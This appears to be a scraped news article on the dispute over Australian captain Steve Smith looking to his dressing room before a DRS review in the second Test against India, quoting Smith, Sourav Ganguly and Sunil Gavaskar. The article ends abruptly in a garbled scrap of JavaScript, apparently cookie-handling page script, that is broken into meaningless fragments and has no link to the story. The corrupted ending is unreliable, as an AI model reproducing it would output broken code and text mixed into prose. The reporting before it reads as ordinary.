Former Indian captains Sourav Ganguly and Sunil Gavaskar have called for Australian captain Steve Smith to be penalised following his self-proclaimed' "brain fade" during the second Test yesterday.
While batting during Australia's unsuccessful run chase on day four of the second Test, Smith was embroiled in a controversial DRS moment.
After being given out LBW while on 28, Smith walked down the wicket to discuss with non-striker Peter Handscomb whether or not he should review the decision.
With Handscomb unsure, Smith looked to the pavilion towards his teammates for guidance, which under ICC rules is not permitted.
Smith was quickly denied the chance to review by the umpires after his actions and Indian skipper Virat Kohli was furious at Smith, sprinting over the to the Aussie captain and the umpires to let them know his feelings.
In the post-match press conference, Smith later conceded an error of judgement.
“I was looking up at our boys, I shouldn’t have done that, it was a bit of a brain fade,” he said.
“It’s the first time it’s happened.”
Ex-Indian captain Ganguly said it was completely unacceptable.
"If the umpires themselves saw Smith infringing on DRS rules then they must report and take action. The umpires and match referee must ensure this doesn't happen in future," Ganguly told Aaj Tak.
Gavaskar also suggested Smith should come under scrutiny for the incident, which Kohli likened to cheating in his press conference.
"We have to see what the ICC and match referee do ... the match referee and the umpires should look into it," Gavaskar told NDTV, who also described it as "quite blatant" and not "in the spirit of the game". "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
